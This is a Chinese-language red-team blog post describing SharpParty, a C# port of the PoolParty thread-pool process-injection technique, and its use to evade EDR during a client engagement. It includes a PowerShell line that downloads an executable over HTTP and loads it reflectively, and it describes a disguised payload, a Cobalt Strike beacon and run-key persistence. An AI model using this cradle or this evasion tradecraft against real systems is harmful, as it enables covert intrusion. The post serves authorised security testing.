SharpParty:C#实现的PoolParty进程注入技术解析

本文详细介绍了SharpParty——基于C#实现的PoolParty进程注入技术,探讨其如何通过Windows线程池工作项注入代码,有效绕过EDR检测,并分享了在实际红队演练中的成功应用案例。

SharpParty:C# PoolParty进程注入技术

引言

随着反病毒和EDR解决方案在检测和响应能力方面的不断提升,红队工作变得愈发困难。曾经主导网络的恶意软件载荷和技术随着EDR对其认知的加深而逐渐失效。如果初始访问载荷被立即检测到,为期六周的红队行动可能从一开始就宣告失败。

现实世界中的威胁行为者拥有充足的时间和资源。红队必须不断发展其战术、技术和程序(TTP),以模拟不断演变的真实威胁行为者。

在本博客中,Stroz Friedberg(LevelBlue旗下公司)为红队工具包引入了一个新成员——“SharpParty”,这是被称为“PoolParty”的进程注入技术的C#实现。

需要明确的是:Stroz Friedberg并未创建PoolParty,也没有扩展Windows线程池的研究。我们只是将SafeBreach Labs的原始源代码从C++翻译成了C#。目标是为红队在选择载荷时提供更多选择。您可以从我们的GitHub仓库下载SharpParty。

进程注入

在深入探讨PoolParty之前,我们必须首先理解什么是进程注入。进程注入是一个相对简单的概念:将代码注入到另一个进程中。将代码注入到另一个进程的目的是隐藏和掩盖恶意活动。然而,进程注入的实际实现并不那么简单。

PoolParty技术

SafeBreach Labs通过发布“PoolParty”——一套针对Windows线程池的进程注入技术,完美展示了持续TTP开发的必要性。通过这项研究,SafeBreach Labs成功绕过了五家领先的EDR供应商。他们还发布了概念验证GitHub仓库,源代码使用C++编写。

简而言之,PoolParty通过创建并将合法工作项插入进程的线程池来将代码注入进程。工作项是一个包含任务规范的结构,包括特定条件以及满足这些条件时要执行的代码。注入的工作项有效地充当执行原语,因为工作项在满足条件时将执行我们的代码。例如,工作项可以在文件被修改时执行操作。在这个例子中,文件修改就是执行原语,我们不需要通过像“CreateRemoteThread”这样的方式手动启动执行,这是一个众所周知的进程注入指标。

开发动机

C#实现的主要动机是允许PoolParty技术在利用XML文件中的内联MSBuild任务的工具中使用。任务XML文件可以包含嵌入的C#代码,当传递给“msbuild.exe”时,这些代码将被编译并执行。虽然任务XML确实支持C++(原始PoC使用的语言),但只有在目标机器上存在“CppCodeProvider.dll”程序集时才受支持。此DLL包含在某些Visual Studio安装中,并不能保证默认存在于Windows机器上。为了确保我们的载荷几乎可以在任何Windows主机上触发,我们需要用C#实现PoolParty技术。

此外,SharpParty的C#实现可以通过PowerShell反射加载到内存中:

1
2
3
$data = (new-object net.webclient).downloaddata('http://127.0.0.1/sharpparty.exe');
$assem = [System.Reflection.Assembly]::Load($data);
[SharpParty.Program]::Main("1 666".Split());

最后,随着攻击性C#工具的日益普及,SharpParty的C#实现可以作为不同攻击链的一部分集成到其他攻击工具中。

基于这些原因,Stroz Friedberg开始用C#实现“PoolParty”技术——SharpParty。

对抗EDR的有效性

在我们的测试过程中,SharpParty最初能够持续绕过Microsoft Defender for Endpoint(MDE)。我们在2025年3月向微软提交了一份演示该绕过技术的报告,他们验证了该问题并随后实施了检测。从那时起,我们观察到对SharpParty的检测数量有所增加。其他EDR系统已经检测到并有时阻止了SharpParty的执行,主要是基于恶意使用"msbuild.exe"以及未指定的进程注入技术。

虽然SharpParty内联任务最近受到EDR的检测有所增加,但有几点值得注意:

  • SafeBreach Labs公开发布了他们关于通过Windows线程池进行进程注入的研究,使EDR供应商能够实施对此技术的检测和监控
  • 使用内联任务和"msbuild.exe"是一个相对知名的技术
  • 还有进一步开发的空间,可以提高载荷对抗EDR的效果

最终我们的目标是为红队提供工具包中的又一个项目,另一种达到目的的手段,另一个评估威胁检测能力的测试案例。

成功案例

在研究期间,我们有机会在客户参与中进一步测试我们的代码。以下是我们载荷的分解:

  • 包含C#内联任务的Task XML文件,其中包含加密的SharpParty代码和辅助函数,用于获取解密密钥、解密代码,然后编译并执行解密后的代码
  • 信标shellcode嵌套在额外的加密层中
  • 使用HTTP密钥获取和验证解密密钥,确保与C2服务器的连接

载荷的执行流程如下图所示:

投放器如何对任务XML执行"msbuild.exe"取决于各种条件,这超出了本博客的范围。

在一切测试就绪后,我们与客户通电话,通过屏幕共享演示恶意软件触发。我们以某种方式伪装了载荷,从受害者的角度来看,他们看起来像是下载了一个ZIP文件并打开了一个PDF。在底层,我们成功执行了SharpParty并获得了Cobalt Strike信标。建立C2通道后,客户当时没有收到任何警报。大约10分钟后,我们建议测试通过注册表运行键实现持久性的测试案例,以检查此活动是否被检测到。客户同意,我们在通话中实时执行了测试案例,设置了一个自动运行键来执行相同的SharpParty载荷。然后,我们注销工作站,重新登录,并收到了第二个信标。

客户理所当然地感到担忧,因为我们已经建立了两个C2信标,而他们没有收到任何检测。触发后30分钟,EDR检测到恶意使用"msbuild.exe"以及目标进程中未指定的恶意载荷,客户因此收到警报。

虽然最终这段代码仍然被捕获,但有两个关键要点:

  • “msbuild.exe"的执行是被EDR检测到的内容
  • 从触发到检测有30分钟的间隔。虽然相对较小,但这个间隙可能足以让威胁行为者在网络内横向移动并维持其访问权限

结论

总之,我们基于SafeBreach Labs的杰出工作开发了PoolParty的C#实现,提供了其存在的动机,并分享了一个成功案例。一如既往,还有改进的空间。我们在添加更多变体方面有成长空间,甚至可能发现新的变体,并提高对抗EDR产品的效果。我们发布此博客文章并开源SharpParty的目标是与安全社区分享知识,并为未来的研究和开发提供途径。

本文提供的内容仅供一般信息目的,不应被解释为法律、监管、合规或网络安全建议。组织应咨询自己的法律、合规或网络安全专业人士,了解具体的义务和风险管理策略。虽然LevelBlue的托管威胁检测和响应解决方案旨在支持终端级别的威胁检测和响应,但它们不能替代全面的网络监控、漏洞管理或完整的网络安全计划。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计